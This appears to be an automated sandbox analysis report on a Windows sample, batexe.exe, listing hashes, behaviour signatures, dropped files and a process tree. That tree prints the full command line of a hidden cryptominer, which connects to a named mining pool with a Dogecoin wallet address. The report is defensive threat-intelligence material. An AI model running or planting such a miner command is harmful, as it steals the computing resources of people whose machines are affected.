Analysis

  • max time kernel
    294s
  • max time network
    302s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    11-02-2024 20:34

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1220
    • C:\Users\Admin\AppData\Local\Temp\5D81.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\5D81.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5D81.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3644
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5FE3.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3240
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:5548

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\5D81.tmp\b2e.exe

    Filesize

    2.9MB

    MD5

    447ee34f47fb4184706effaccb446147

    SHA1

    29c1bee0568be6717264072ebdc07a6ab3f745c4

    SHA256

    51de67f7a6e9be02497ad9ff256d54fcfb312f90b601a9372703f37dd8bc160d

    SHA512

    6b9d7fed48b858e4220d67764b67f0e92c944377be7ccee0c56c068ebef1f82f29ce2e338f72a7a3d81b23902ca651b85afae9e1ac33f9c1b047a978a290ac88

  • C:\Users\Admin\AppData\Local\Temp\5D81.tmp\b2e.exe

    Filesize

    2.1MB

    MD5

    8ff457886656678b3db1601ffdf07834

    SHA1

    e70f075df01c3d8ea1be7f68a2b630d90784e0c7

    SHA256

    29189ec6f95e46cc7c632998764a77ad66f7ce3f7917be9cccad2c6013fb7cdb

    SHA512

    c931a6bc2311fd7dbb81c887502b41b1003a005f7c5c92ed41513eb0424b538b62365194ee083ac82fb634f156f6e87ce61a444c5486b825cd33faf9cbcc64ff

  • C:\Users\Admin\AppData\Local\Temp\5D81.tmp\b2e.exe

    Filesize

    2.0MB

    MD5

    f632e31b69b7df7fe610ce8a4d0773b7

    SHA1

    cc7342effef8684cc51e542119cb16a5acfee93a

    SHA256

    6f084d2f4638510c9154f6e7f195a71753c2efa1186adec45dd175dbb2b3ce46

    SHA512

    b03a4dabbc96c31d04534034469a3b47b7cce83de6dac22299475fd054db516a3a70ab565d5774e016bde2e20d5be3f1c62b718c9ef3c88723484bf383031bce

  • C:\Users\Admin\AppData\Local\Temp\5FE3.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    80KB

    MD5

    cb5b491183cd086ba4a517323d4477d5

    SHA1

    8666caa922cdd33f05f068e2620d06c0a7b74147

    SHA256

    996e4070c33bb9b42aa7b391db6af424eec78e878acfcf0248ce222765e59fb9

    SHA512

    d0cccab42a7c50348d234d01247a937472c5b8b7df1394441d6ff29cefbc342dd02453ba871b0148fd8b07d1011951e1ee34d3c0661c09cbb4534bdbe8979de3

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    65KB

    MD5

    46220b6b6e2ddaf560bb6a2546541c6e

    SHA1

    90399b4e261ab33f5f1c72d8e57a79abbb5f74fe

    SHA256

    f8681386640e8c6ef6d934e4b80ca7460882894be1bf50802eb106f44d6a471e

    SHA512

    5a9f5137432917ff3d36ac8bb97b92ca142585081e8368bb77af4ecb3277be0363da43d65900c0fb0b3ecb2574462456a20d0c165d56d69a680b9ab99167b083

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    6KB

    MD5

    4e7a69811b1fa3f8572b2ad9749273ff

    SHA1

    87b5e592ac7a100027c24bccf998c4f0aa14a789

    SHA256

    146875e0ef6f43e3f00ec666a82df9490ecbcb998fce18cca3d4e2c565b74c43

    SHA512

    3fc5bb688231a80aefb7003fbe5ddbaf55a8981591f874a48b95c8717bb24f32833f91495325fe750728ba1954a075f975100f76610ce5f0025ae020e03861c4

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    9KB

    MD5

    8055e1b8a5fdd7fdaaa4c9d18281e340

    SHA1

    14391f8ec029d749739654c57865a43dbc8b4d43

    SHA256

    7578f1f73dedf241f821333881a3b2c42a81bc8de2bda532b0529dfcc01653fe

    SHA512

    626009ef96392e83279a1208bc3a0050fb40810e7396d248d993dd23f85dbf7757dc0688d3aedccfa8abfb7f934f76210d51fb6dfd2423728468214ac8625b0d

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    42KB

    MD5

    8e156f809ab599c49b91b6f01e1d9a03

    SHA1

    0c06de264beb8ae5dc259c81d0c01e413933e68e

    SHA256

    373a94c1bb30ab08b6a7dc9ff1f3d603f8d90c3204856aaae6096ba35e7b1b89

    SHA512

    df27a7ea26a35836cfc48e70421890e762c36996983e209994dda908d71fe06ce2c39d42b5d1c4f18ab9ae9e44e5baf930db4d8ced7d40285ad4fed239811441

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    2.1MB

    MD5

    15e4145b8e2707ec43d08e9dbdd347b7

    SHA1

    3ccf6e06a4b139b9a7b9b528d0cdf4a20db16fb3

    SHA256

    21ac7659de0df1364789a15bc7292cd0c2fa1d9fb8c7548aad99db84042f527f

    SHA512

    21456f8224f90bd8fd89878d2587b698c274a232cfbc868a0367965103ae1a08b36dc8ca8c8f551611eb501bf7e34f6931698dc497020f5c4dcd4597bf6a9f82

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    2.0MB

    MD5

    c446e777c4a7caddde3b2849ed4bc0d8

    SHA1

    3b38ac8a0a5a890c9b6316cdb89540c12bed627f

    SHA256

    d2040949ecca27efe5786c7fbbf7aef0a615d3a4f791f4a674ce85e9e20cfa01

    SHA512

    5148716dcc3bf09df41a27834a42fc8bc4b222286795cda18857a9b8a64bb769ee5013583172cb580db444531748edfca72d8cea204b4952acb65cfcb89ca27e

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    42KB

    MD5

    61da3dda4e5628888964b1af36f949ff

    SHA1

    ccab8f373c0a095beb3b59ffa677bac8946a5294

    SHA256

    9f815d0e501ab587cc87083f0cd6ce3f272b4181ef110f8f4bcc52162df64f7f

    SHA512

    9ad983ae20984ee6b46690573fbeda54071dac7ef71e01a016c4dcff68530ba21b3d7307fcd9a7ba7a53d283fa334d16647fbd5e5c3879d7540513648bfd5658

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/1220-9-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/3644-8-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3644-53-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/5548-46-0x000000006EB00000-0x000000006EB98000-memory.dmp

    Filesize

    608KB

  • memory/5548-59-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5548-45-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/5548-47-0x0000000001160000-0x0000000002A15000-memory.dmp

    Filesize

    24.7MB

  • memory/5548-48-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5548-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5548-54-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5548-44-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/5548-69-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5548-84-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5548-89-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5548-94-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5548-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5548-104-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB